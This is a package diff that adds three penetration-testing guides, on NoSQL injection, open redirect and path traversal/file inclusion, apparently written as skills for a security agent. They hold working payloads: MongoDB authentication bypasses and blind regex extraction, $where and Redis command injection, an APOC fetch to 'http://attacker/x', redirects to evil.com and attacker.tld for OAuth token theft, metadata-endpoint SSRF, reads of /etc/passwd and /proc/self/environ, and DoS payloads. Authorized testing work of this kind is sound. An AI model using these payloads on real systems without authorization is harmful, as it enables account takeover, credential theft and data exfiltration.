@gpzhang2001/sharpkit-skills 0.2.1

package/skills/vulnerabilities/nosql_injection.md

@@ -0,0 +1,288 @@
+---
+name: nosql-injection
+description: NoSQL injection testing covering MongoDB operator injection, authentication bypass, blind extraction, GraphQL variable injection, and Redis/DynamoDB/Elasticsearch/Neo4j-specific attack surfaces
+---
+
+# NoSQL Injection
+
+NoSQL injection exploits the mismatch between how applications pass user input to database queries and how the database engine interprets that input. Unlike SQL injection, NoSQL injection frequently involves operator injection (e.g., MongoDB's `$gt`, `$regex`, `$where`) or structure injection (embedding JSON sub-documents). The attack surface is broad: MongoDB is the dominant target, but Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, and Neo4j each have distinct injection surfaces. GraphQL resolvers passing variables directly into a backing NoSQL filter are a frequent cross-cutting vector.
+
+## Attack Surface
+
+**Input shapes that reach query filters**
+- JSON body parameters parsed straight into query objects
+- Form fields with bracket notation (`field[$ne]=`) coerced into operator objects by Express, PHP, and similar middleware
+- URL-encoded JSON in query strings, headers, and cookies
+- GraphQL variables passed directly into resolver-level NoSQL filters
+
+**Code patterns that enable injection**
+- Raw filter dicts/objects from user input handed to `find`/`findOne`/`aggregate`
+- String concatenation into Cypher / CQL / Redis commands instead of the driver's parameterized form
+- ODM passthrough: Mongoose `{strict: false}`, Morphia raw `where()`, PyMongo `find()` with unsanitized JSON dicts (legacy `eval()` is fatal)
+- Server-side JavaScript surfaces: `$where`, `$function`, `$accumulator`, CouchDB `_design` views
+
+**Stores in scope**
+MongoDB (primary), Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, Neo4j. Couchbase / DocumentDB / HBase / ScyllaDB / Memcached follow the same operator-injection or command-smuggling models — DocumentDB in particular accepts MongoDB payloads unchanged.
+
+## High-Value Targets
+
+- Login and authentication endpoints (username/password fields)
+- Search and filter APIs (catalog, user search, admin lookup)
+- Password reset and token lookup flows
+- Admin queries filtering by role, plan, or privilege fields
+- Endpoints accepting raw JSON objects as query parameters
+
+## Reconnaissance
+
+### Content-Type and Input Shape
+
+- Identify endpoints accepting `application/json` — these can receive operator objects directly
+- Identify endpoints accepting `application/x-www-form-urlencoded` — bracket notation `username[$ne]=x` maps to `{username: {$ne: 'x'}}` in many frameworks (Express `body-parser`, PHP)
+- Determine whether the backend uses Mongoose, native MongoDB driver, or a REST ODM wrapper
+
+### Error Fingerprinting
+
+- Send malformed JSON: `{"username": {"$gt": ""}}`
+- Send bracket notation in form data: `username[$gt]=`
+- Look for MongoDB error messages: `MongoError`, `CastError`, `ValidationError`
+- Stack traces revealing collection names, field names, driver version
+
+### Operator Probe
+
+Test whether operators pass through to the database:
+```json
+{"username": {"$gt": ""}, "password": {"$gt": ""}}
+```
+If authentication succeeds or response differs, operator injection is confirmed.
+
+## Key Vulnerabilities
+
+### MongoDB Authentication Bypass
+
+The classic operator injection against login queries of the form `db.users.findOne({username: input.username, password: input.password})`:
+
+**JSON body injection:**
+```json
+{"username": {"$ne": null}, "password": {"$ne": null}}
+```
+Matches the first document where both fields are non-null — typically the first user/admin.
+
+**Form body (bracket notation):**
+```
+username[$ne]=invalid&password[$ne]=invalid
+```
+
+**Variations:**
+```json
+{"username": "admin", "password": {"$gt": ""}}
+{"username": {"$regex": ".*"}, "password": {"$gt": ""}}
+{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}
+```
+
+### Blind Data Extraction via `$regex`
+
+When the query result is not directly reflected but observable (boolean response, redirect, timing), extract field values character by character using `$regex`:
+```json
+{"username": "admin", "password": {"$regex": "^a"}}
+{"username": "admin", "password": {"$regex": "^b"}}
+...
+```
+Binary search the character space to minimize requests. Works on any string field (token, reset code, API key).
+
+### `$where` JavaScript Injection
+
+If `$where` operator is enabled (disabled by default in MongoDB 7.0+; MongoDB 4.4–6.x deprecated it but left `javascriptEnabled` defaulting to `true`), inject arbitrary server-side JavaScript:
+```json
+{"$where": "function(){return this.role == 'admin'}"}                          // direct filter — returns matching documents
+{"$where": "function(){return this.username == 'admin' && sleep(2000)}"}       // timing oracle only — sleep() returns undefined (falsy), so no documents are returned; observe latency
+```
+`sleep()` is available in older MongoDB for blind extraction via response-time differential.
+
+### `$function` and `$accumulator` (MongoDB 4.4+)
+
+Server-side JavaScript in aggregations. `$function` must live inside an expression context — `$expr`, `$project`, `$addFields`, etc. — not as a top-level filter:
+```json
+{"$expr": {"$function": {"body": "function(doc){return doc.role == 'admin'}", "args": ["$$ROOT"], "lang": "js"}}}
+```
+Gated by the same `javascriptEnabled` parameter as `$where`, but reachable through aggregation endpoints — useful when `$where` is filtered at the query layer but aggregation pipelines remain user-influenceable.
+
+### Aggregation Pipeline Injection
+
+`$match`, `$lookup`, and `$project` stages accept the same operator payloads as `find()`. User-controlled `$lookup.from` is the highest-impact variant — it can pivot the query to a different collection (e.g., from `orders` into `users`) and exfiltrate cross-tenant data.
+
+### Redis Command Injection
+
+When Redis commands are constructed by string concatenation:
+```python
+redis.execute_command(f"SET {user_key} {value}")
+```
+Inject newline characters (`\r\n`) to inject additional Redis commands (RESP protocol injection):
+```
+key\r\nSET backdoor attacker_controlled\r\nSET dummy
+```
+
+### Elasticsearch Query String Injection
+
+`query_string` and `simple_query_string` accept Lucene syntax. User input flowing directly:
+```
+q=normal+search            →   normal results
+q=*                        →   all documents
+q=role:admin               →   filter by field
+q=_exists_:password_hash   →   existence probe
+```
+
+For Painless script injection via `_update`:
+```json
+{"script": {"source": "ctx._source.role = params.r", "params": {"r": "admin"}}}
+```
+If the `source` field is user-controlled, inject arbitrary Painless.
+
+### DynamoDB FilterExpression Injection
+
+PartiQL injection allows expansion of intended queries:
+```sql
+-- Intended:
+SELECT * FROM Users WHERE username = 'input'
+
+-- Injected:
+SELECT * FROM Users WHERE username = 'x' OR '1'='1
+```
+
+### Cassandra CQL Injection
+
+CQL is SQL-shaped, so injection follows the SQL pattern when input is concatenated instead of bound via `session.prepare()`:
+
+```
+username: ' OR '1'='1' ALLOW FILTERING --
+username: 'x' OR token(username) > token('a') ALLOW FILTERING --
+```
+
+No `SLEEP` or OOB primitive natively — detection is boolean/error-based only.
+
+### CouchDB Mango and View Injection
+
+Mango selectors on `_find` accept operator payloads in the same shape as MongoDB:
+```json
+POST /db/_find  { "selector": {"username": "admin", "password": {"$gt": ""}} }
+POST /db/_find  { "selector": {"role": {"$regex": "^admin"}} }
+```
+
+`_design` document injection — if user input flows into a design doc's `views.<name>.map`, the JavaScript runs server-side in the Couch sandbox on every view query:
+```json
+{"views": {"x": {"map": "function(doc){ emit(doc._id, doc) }"}}}
+```
+
+Also probe `_all_docs?include_docs=true` for unscoped enumeration and check for admin-party misconfigurations (`_users/_all_docs` reachable without auth) before payload work.
+
+### Neo4j Cypher Injection
+
+When user input is concatenated into Cypher rather than passed as a parameter (`$param`):
+```python
+# Vulnerable
+session.run(f"MATCH (u:User {{name: '{name}'}}) RETURN u")
+
+# Injected: name = x'}) RETURN u UNION MATCH (u:User) RETURN u //
+```
+
+**APOC abuse** (when `apoc.*` procedures are enabled via `dbms.security.procedures.unrestricted`):
+- `CALL apoc.load.json('http://attacker/x')` — SSRF and external data fetch
+- `CALL apoc.cypher.run("...", {})` — dynamic query execution from a string
+- `CALL dbms.security.listUsers()` — user enumeration on misconfigured Community Edition
+
+### GraphQL Variable Injection
+
+Resolvers passing variables straight into a backing NoSQL filter are a common chained vector:
+```graphql
+query Login($input: UserFilter!) {
+  user(filter: $input) { id role }
+}
+```
+With `$input` reaching `db.users.findOne(input)`, send:
+```json
+{"input": {"username": "admin", "password": {"$ne": ""}}}
+```
+Use introspection (`__schema`, `__type`) to enumerate which input types accept arbitrary objects — those are the operator-injection candidates.
+
+### Server-Side JavaScript Detection and DoS
+
+Fingerprint SSJS state before investing in `$where` / `$function` payloads:
+```javascript
+db.adminCommand({getParameter: 1, javascriptEnabled: 1})
+```
+
+DoS surface (use only with explicit authorization scope):
+- **ReDoS**: `{"field": {"$regex": "^(a+)+$"}}` against long values triggers catastrophic backtracking
+- **Large `$in` arrays**: thousands of values force linear scans on unindexed fields
+- **Infinite `$where` loops**: `{"$where": "while(true){}"}` if SSJS is enabled without query timeouts
+- **Heavy aggregations**: chained `$lookup` across large unindexed collections
+
+## Bypass Techniques
+
+**Type Coercion**
+- Send operators as arrays: `{"$gt": [""]}` — some drivers coerce arrays
+- Mix string and object types in the same request to trigger parser branches
+
+**Encoding**
+- URL-encode brackets: `username%5B%24ne%5D=x` → `username[$ne]=x`
+- Double-encode for WAFs sitting in front of JSON-parsing backends
+
+**Operator Alternatives**
+- `$nin` (not in), `$exists: false`, `$type` — alternative operators that reach the same result when `$ne` is filtered
+- `$not` wrapping another operator: `{"field": {"$not": {"$eq": "value"}}}`
+- `$expr` with `$ne` for complex comparisons: `{"$expr": {"$ne": ["$password", "wrong"]}}`
+
+**Structure Manipulation**
+- Dotted-key vs nested object: `{"a.b": "c"}` vs `{"a": {"b": "c"}}` — sanitizers often strip one form but pass the other
+- Array vs object operator wrapping: some parsers treat `["$or", ...]` as operator arrays
+- Prototype pollution: `__proto__` and `constructor.prototype` keys in JSON bodies polluting Object prototypes consumed downstream by query builders
+- `$regex` case-insensitive flag (`"$options": "i"`) widens matches that case-sensitive filters miss
+
+## Testing Methodology
+
+1. **Identify query-receiving endpoints** — login, search, filter, lookup
+2. **Determine input format** — JSON body vs form fields vs URL params
+3. **Send error-probing payloads** — malformed operator objects; watch for MongoDB/driver errors
+4. **Attempt operator injection** — `$ne`, `$gt`, `$regex` against login endpoint
+5. **Confirm boolean oracle** — response, status, redirect differs between true/false predicates
+6. **Extract data blindly** — character-by-character `$regex` on sensitive fields (token, reset code)
+7. **Test `$where`** — if older MongoDB version detected, attempt JavaScript sleep-based timing
+8. **Probe aggregation endpoints** — inject operators into `filter`/`match`/`sort` fields
+9. **Test non-MongoDB stores** — Elasticsearch `query_string`, Redis command construction, DynamoDB PartiQL, CouchDB Mango selectors, Neo4j Cypher concatenation, Cassandra CQL
+10. **Test GraphQL resolvers** — submit operator objects via variables on any input type that reaches a NoSQL filter; use `__schema` introspection to enumerate candidates
+
+## Validation
+
+1. Demonstrate authentication bypass: send operator payload, confirm login succeeds for any/first account
+2. Extract a verifiable secret (password hash, reset token, API key) via `$regex` blind extraction
+3. Show at least two distinct operator payloads working to rule out coincidence
+4. Provide before/after: normal request returns 401, injected request returns 200
+5. For `$where`: show timing differential with/without `sleep()`
+
+## False Positives
+
+- Framework-level query builder that casts input to string before constructing the query (Mongoose `strict` mode on)
+- Input sanitization stripping operator keys before they reach the driver
+- Endpoints that accept JSON but cast the `password` field to string — operator object becomes `[object Object]`
+- Response differences caused by validation errors, not actual operator execution
+
+## Impact
+
+- Authentication bypass granting access to arbitrary or all accounts
+- Full extraction of sensitive fields (tokens, hashed passwords, PII) via blind regex enumeration
+- Privilege escalation by querying admin/superuser records directly
+- Data exfiltration at scale via widened `$ne`/`$regex`/`$gt` filters
+- Server-side JavaScript execution via `$where` on unpatched MongoDB instances
+
+## Pro Tips
+
+1. Always try both JSON body (`{"field": {"$ne": null}}`) and bracket-notation form (`field[$ne]=`) — different middleware handles them differently
+2. Target reset token and API key fields with `$regex` extraction, not just passwords
+3. Check MongoDB version via error messages or `/admin/serverStatus`; `$where` is active by default on pre-7.0 instances — that includes 4.4–6.x targets where `javascriptEnabled` was deprecated but not yet disabled, making them still exploitable unless explicitly hardened
+4. For Elasticsearch, try `_cat/indices`, `_mapping`, and `_search` with `query_string: *` before attempting script injection
+5. Combine authentication bypass with a second request to `/admin` or `/api/users` to escalate impact
+6. Automate `$regex` extraction with binary search: 7 requests per character vs 94 with linear search
+7. GraphQL resolvers are an underexplored entry point — try operator objects in any input type that reaches a NoSQL filter, and use introspection to find candidate fields
+
+## Summary
+
+NoSQL injection exploits the same root cause as SQL injection — user input controlling query structure — but through operator embedding rather than syntax breaking. MongoDB is the primary target; enforce schema validation, use parameterized equivalents (strict mode, typed schemas), and never pass raw user input as a query object.

package/skills/vulnerabilities/open_redirect.md

@@ -0,0 +1,165 @@
+---
+name: open-redirect
+description: Open redirect testing for phishing pivots, OAuth token theft, and allowlist bypass
+---
+
+# Open Redirect
+
+Open redirects enable phishing, OAuth/OIDC code and token theft, and allowlist bypass in server-side fetchers that follow redirects. Treat every redirect target as untrusted: canonicalize and enforce exact allowlists per scheme, host, and path.
+
+## Attack Surface
+
+**Server-Driven Redirects**
+- HTTP 3xx Location
+
+**Client-Driven Redirects**
+- `window.location`, meta refresh, SPA routers
+
+**OAuth/OIDC/SAML Flows**
+- `redirect_uri`, `post_logout_redirect_uri`, `RelayState`, `returnTo`/`continue`/`next`
+
+**Multi-Hop Chains**
+- Only first hop validated
+
+## High-Value Targets
+
+- Login/logout, password reset, SSO/OAuth flows
+- Payment gateways, email links, invite/verification
+- Unsubscribe, language/locale switches
+- `/out` or `/r` redirectors
+
+## Reconnaissance
+
+### Injection Points
+
+- Params: `redirect`, `url`, `next`, `return_to`, `returnUrl`, `continue`, `goto`, `target`, `callback`, `out`, `dest`, `back`, `to`, `r`, `u`
+- OAuth/OIDC/SAML: `redirect_uri`, `post_logout_redirect_uri`, `RelayState`, `state`
+- SPA: `router.push`/`replace`, `location.assign`/`href`, meta refresh, `window.open`
+- Headers: `Host`, `X-Forwarded-Host`/`Proto`, `Referer`; server-side Location echo
+
+### Parser Differentials
+
+**Userinfo**
+- `https://trusted.com@evil.com` → validators parse host as trusted.com, browser navigates to evil.com
+- Variants: `trusted.com%40evil.com`, `a%40evil.com%40trusted.com`
+
+**Backslash and Slashes**
+- `https://trusted.com\evil.com`, `https://trusted.com\@evil.com`, `///evil.com`, `/\evil.com`
+
+**Whitespace and Control**
+- `http%09://evil.com`, `http%0A://evil.com`, `trusted.com%09evil.com`
+
+**Fragment and Query**
+- `trusted.com#@evil.com`, `trusted.com?//@evil.com`, `?next=//evil.com#@trusted.com`
+
+**Unicode and IDNA**
+- Punycode/IDN: `truѕted.com` (Cyrillic), `trusted.com。evil.com` (full-width dot), trailing dot
+
+### Encoding Bypasses
+
+- Double encoding: `%2f%2fevil.com`, `%252f%252fevil.com`
+- Mixed case and scheme smuggling: `hTtPs://evil.com`, `http:evil.com`
+- IP variants: decimal 2130706433, octal 0177.0.0.1, hex 0x7f.1, IPv6 `[::ffff:127.0.0.1]`
+- User-controlled path bases: `/out?url=/\evil.com`
+
+## Key Vulnerabilities
+
+### Allowlist Evasion
+
+**Common Mistakes**
+- Substring/regex contains checks: allows `trusted.com.evil.com`
+- Wildcards: `*.trusted.com` also matches `attacker.trusted.com.evil.net`
+- Missing scheme pinning: `data:`, `javascript:`, `file:`, `gopher:` accepted
+- Case/IDN drift between validator and browser
+
+**Robust Validation**
+- Canonicalize with a single modern URL parser (WHATWG URL)
+- Compare exact scheme, hostname (post-IDNA), and an explicit allowlist with optional exact path prefixes
+- Require absolute HTTPS; reject protocol-relative `//` and unknown schemes
+
+### OAuth/OIDC/SAML
+
+**Redirect URI Abuse**
+- Using an open redirect on a trusted domain for redirect_uri enables code interception
+- Weak prefix/suffix checks: `https://trusted.com` → `https://trusted.com.evil.com`
+- Path traversal/canonicalization: `/oauth/../../@evil.com`
+- `post_logout_redirect_uri` often less strictly validated
+
+### Client-Side Vectors
+
+**JavaScript Redirects**
+- `location.href`/`assign`/`replace` using user input
+- Meta refresh `content=0;url=USER_INPUT`
+- SPA routers: `router.push(searchParams.get('next'))`
+
+### Reverse Proxies and Gateways
+
+- Host/X-Forwarded-* may change absolute URL construction
+- CDNs that follow redirects for link checking can leak tokens when chained
+
+### SSRF Chaining
+
+- Server-side fetchers (web previewers, link unfurlers) follow 3xx
+- Combine with an open redirect on an allowlisted domain to pivot to internal targets (169.254.169.254, localhost)
+
+## Exploitation Scenarios
+
+### OAuth Code Interception
+
+1. Set redirect_uri to `https://trusted.example/out?url=https://attacker.tld/cb`
+2. IdP sends code to trusted.example which redirects to attacker.tld
+3. Exchange code for tokens; demonstrate account access
+
+### Phishing Flow
+
+1. Send link on trusted domain: `/login?next=https://attacker.tld/fake`
+2. Victim authenticates; browser navigates to attacker page
+3. Capture credentials/tokens via cloned UI
+
+### Internal Evasion
+
+1. Server-side link unfurler fetches `https://trusted.example/out?u=http://169.254.169.254/latest/meta-data`
+2. Redirect follows to metadata; confirm via timing/headers
+
+## Testing Methodology
+
+1. **Inventory surfaces** - Login/logout, password reset, SSO/OAuth flows, payment gateways, email links
+2. **Build test matrix** - Scheme × host × path variants and encoding/unicode forms
+3. **Compare behaviors** - Server-side validation vs browser navigation results
+4. **Multi-hop testing** - Trusted-domain → redirector → external
+5. **Prove impact** - Credential phishing, OAuth code interception, internal egress
+
+## Validation
+
+1. Produce a minimal URL that navigates to an external domain via the vulnerable surface; include the full address bar capture
+2. Show bypass of the stated validation (regex/allowlist) using canonicalization variants
+3. Test multi-hop: prove only first hop is validated and second hop escapes constraints
+4. For OAuth/SAML, demonstrate code/RelayState delivery to an attacker-controlled endpoint
+
+## False Positives
+
+- Redirects constrained to relative same-origin paths with robust normalization
+- Exact pre-registered OAuth redirect_uri with strict verifier
+- Validators using a single canonical parser and comparing post-IDNA host and scheme
+- User prompts that show the exact final destination before navigating
+
+## Impact
+
+- Credential and token theft via phishing and OAuth/OIDC interception
+- Internal data exposure when server fetchers follow redirects
+- Policy bypass where allowlists are enforced only on the first hop
+- Cross-application trust erosion and brand abuse
+
+## Pro Tips
+
+1. Always compare server-side canonicalization to real browser navigation; differences reveal bypasses
+2. Try userinfo, protocol-relative, Unicode/IDN, and IP numeric variants early
+3. In OAuth, prioritize `post_logout_redirect_uri` and less-discussed flows; they're often looser
+4. Exercise multi-hop across distinct subdomains and paths
+5. For SSRF chaining, target services known to follow redirects
+6. Favor allowlists of exact origins plus optional path prefixes
+7. Keep a curated suite of redirect payloads per runtime (Java, Node, Python, Go)
+
+## Summary
+
+Redirection is safe only when the final destination is constrained after canonicalization. Enforce exact origins, verify per hop, and treat client-provided destinations as untrusted across every stack.

package/skills/vulnerabilities/path_traversal_lfi_rfi.md

@@ -0,0 +1,218 @@
+---
+name: path-traversal-lfi-rfi
+description: Path traversal and file inclusion testing for local/remote file access and code execution
+---
+
+# Path Traversal / LFI / RFI
+
+Improper file path handling and dynamic inclusion enable sensitive file disclosure, config/source leakage, SSRF pivots, and code execution. Treat all user-influenced paths, names, and schemes as untrusted; normalize and bind them to an allowlist or eliminate user control entirely.
+
+## Attack Surface
+
+**Path Traversal**
+- Read files outside intended roots via `../`, encoding, normalization gaps
+- Write or create files outside intended roots, then evaluate framework-controlled resolution paths separately from direct web access
+
+**Local File Inclusion (LFI)**
+- Include server-side files into interpreters/templates
+
+**Remote File Inclusion (RFI)**
+- Include remote resources (HTTP/FTP/wrappers) for code execution
+
+**Archive Extraction**
+- Zip Slip: write outside target directory upon unzip/untar
+
+**Normalization Mismatches**
+- Server/proxy differences (nginx alias/root, upstream decoders)
+- OS-specific paths: Windows separators, device names, UNC, NT paths, alternate data streams
+
+## High-Value Targets
+
+**Unix**
+- `/etc/passwd`, `/etc/hosts`, application `.env`/`config.yaml`
+- SSH keys, cloud creds, service configs/logs
+
+**Windows**
+- `C:\Windows\win.ini`, IIS/web.config, programdata configs, application logs
+
+**Application**
+- Source code templates and server-side includes
+- Secrets in env dumps, framework caches
+
+## Reconnaissance
+
+### Surface Map
+
+- HTTP params: `file`, `path`, `template`, `include`, `page`, `view`, `download`, `export`, `report`, `log`, `dir`, `theme`, `lang`
+- Upload and conversion pipelines: image/PDF renderers, thumbnailers, office converters
+- Archive extract endpoints and background jobs; imports with ZIP/TAR/GZ/7z
+- Server-side template rendering (PHP/Smarty/Twig/Blade), email templates, CMS themes/plugins
+- Reverse proxies and static file servers (nginx, CDN) in front of app handlers
+
+### Capability Probes
+
+- Path traversal baseline: `../../etc/hosts` and `C:\Windows\win.ini`
+- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, and Unicode lookalikes only where a documented conversion layer maps them to path syntax
+- Normalization tests: `..../`, `..\\`, `././`, trailing dot/double dot segments; repeated decoding
+- Absolute path acceptance: `/etc/passwd`, `C:\Windows\System32\drivers\etc\hosts`
+- Server mismatch: `/static/..;/../etc/passwd` ("..;"), encoded slashes (`%2F`), double-decoding via upstream
+
+## Detection Channels
+
+### Direct
+
+- Response body discloses file content (text, binary, base64)
+- Error pages echo real paths
+
+### Error-Based
+
+- Exception messages expose canonicalized paths or `include()` warnings with real filesystem locations
+
+### OAST
+
+- For RFI or URL-capable resource loaders, a correlated callback confirms server-side resolution/fetch. It does not by itself prove inclusion or execution; use a separate response or side-effect oracle for that claim.
+
+### Side Effects
+
+- Archive extraction writes files unexpectedly outside target
+- Verify with directory listings or follow-up reads
+
+## Key Vulnerabilities
+
+### Path Traversal Bypasses
+
+**Encodings**
+- Single/double URL-encoding, mixed case, UTF-16 or Unicode conversion only when present in the stack, and path normalization oddities
+
+**Mixed Separators**
+- `/` and `\\` on Windows; `//` and `\\\\` collapse differences across frameworks
+
+**Dot Tricks**
+- `....//` (double dot folding), trailing dots (Windows), trailing slashes, appended valid extension
+
+**Absolute Path Injection**
+- Bypass joins by supplying a rooted path
+
+**Alias/Root Mismatch**
+- nginx alias without trailing slash with nested location allows `../` to escape
+- Try `/static/../etc/passwd` and ";" variants (`..;`)
+
+**Upstream vs Backend Decoding**
+- Proxies/CDNs decoding `%2f` differently; test double-decoding and encoded dots
+
+### LFI Wrappers and Techniques
+
+**PHP Wrappers**
+- `php://filter/convert.base64-encode/resource=index.php` (read source)
+- `zip://archive.zip#file.txt`
+- `data://text/plain;base64`
+- `expect://` (if enabled)
+
+**Log/Session Poisoning**
+- Inject PHP/templating payloads into access/error logs or session files then include them
+
+**Upload Temp Names**
+- Include temporary upload files before relocation; race with scanners
+
+**Proc and Caches**
+- `/proc/self/environ` and framework-specific caches for readable secrets
+
+**Legacy Tricks**
+- Null-byte (`%00`) truncation in older stacks; path length truncation
+
+### Template Engines
+
+- PHP include/require; Smarty/Twig/Blade with dynamic template names
+- Java/JSP/FreeMarker/Velocity; Node.js ejs/handlebars/pug engines
+- Seek dynamic template resolution from user input (theme/lang/template)
+
+### RFI Conditions
+
+**Requirements**
+- Remote includes (`allow_url_include`/`allow_url_fopen` in PHP)
+- Custom fetchers that eval/execute retrieved content
+- SSRF-to-exec bridges
+
+**Protocol Handlers**
+- http, https, ftp; language-specific stream handlers
+
+**Exploitation**
+- Host a minimal payload that proves code execution
+- Prefer OAST beacons or deterministic output over heavy shells
+- Chain with upload or log poisoning when remote includes are disabled
+
+### Archive Extraction (Zip Slip)
+
+- Files within archives containing `../` or absolute paths escape target extract directory
+- Test multiple formats: zip/tar/tgz/7z
+- Verify symlink handling and path canonicalization prior to write
+- Impact: overwrite config/templates or drop webshells into served directories
+
+### File Write to Execution
+
+Characterize the write primitive before choosing a payload:
+
+- create vs overwrite vs append; atomic replace vs streamed write
+- absolute vs relative path; controllable directory, filename, extension, and bytes
+- text encoding, newline conversion, templating, compression, or report generation applied before write
+- target process permissions and whether symlinks are followed
+- immediate load, hot reload, cache invalidation, restart, scheduled task, or user action required
+
+Then inventory generic execution and influence surfaces:
+
+- view/template search paths and implicit rendering
+- module, controller, plugin, package, or class autoload directories
+- application bootstrap files and language package initializers
+- server/user configuration that changes handler or interpreter behavior
+- job definitions, hooks, startup scripts, cron/task inputs, and CI workspace files
+- logs, sessions, caches, generated sources, and compiled-template directories later included or evaluated
+
+Do not require the malicious file to be directly web-accessible. An HTTP extension allowlist can block `/path/payload.ext` while an internal view engine, autoloader, or interpreter still opens and executes that file through a clean route. Trace public request filtering and internal file resolution as separate security boundaries.
+
+Test search order with candidate marker files or filesystem traces. Trigger the normal route/action that causes internal resolution. Record whether the framework creates, compiles, caches, or executes the artifact and what reload condition is required.
+
+## Testing Methodology
+
+1. **Inventory file operations** - Downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors
+2. **Identify input joins** - Path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations
+3. **Probe normalization** - Separators, encodings, double-decodes, case, trailing dots/slashes
+4. **Compare behaviors** - Web server vs application behavior
+5. **Characterize writes** - Determine create/overwrite/append, path and byte control, permissions, and reload/trigger conditions
+6. **Map resolvers** - Test template/view search paths, autoloaders, plugins, configs, jobs, and other internal consumers separately from direct file serving
+7. **Escalate** - From disclosure (read) to influence (write/extract/include), then to execution through a proven resolver or interpreter
+
+## Validation
+
+1. Show a minimal traversal read proving out-of-root access (e.g., `/etc/hosts`) with a same-endpoint in-root control
+2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (`php://filter` base64 of index.php)
+3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads
+4. For Zip Slip, create an archive with `../` entries and show write outside target (e.g., marker file read back)
+5. For file-write chains, first prove a canary is created at the intended path, then prove the normal resolver loads it; document cache/reload requirements
+6. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility
+
+## False Positives
+
+- In-app virtual paths that do not map to filesystem; content comes from safe stores (DB/object storage)
+- Canonicalized paths constrained to an allowlist/root after normalization
+- Wrappers disabled and includes using constant templates only
+- Archive extractors that sanitize paths and enforce destination directories
+
+## Impact
+
+- Sensitive configuration/source disclosure → credential and key compromise
+- Code execution via inclusion of attacker-controlled content or overwritten templates
+- Persistence via dropped files in served directories; lateral movement via revealed secrets
+- Supply-chain impact when report/template engines execute attacker-influenced files
+
+## Pro Tips
+
+1. Compare content-length/ETag when content is masked; read small canonical files (hosts) to avoid noise
+2. Test proxy/CDN and app separately; decoding/normalization order differs, especially for `%2f` and `%2e` encodings
+3. For LFI, prefer `php://filter` base64 probes over destructive payloads; enumerate readable logs and sessions
+4. Validate extraction code with synthetic archives; include symlinks and deep `../` chains
+5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems
+6. When direct execution is blocked, enumerate internal search paths before assuming the write is low impact
+
+## Summary
+
+Eliminate user-controlled paths where possible. Otherwise, resolve to canonical paths and enforce allowlists, forbid remote schemes, and lock down interpreters and extractors. Normalize consistently at the boundary closest to IO.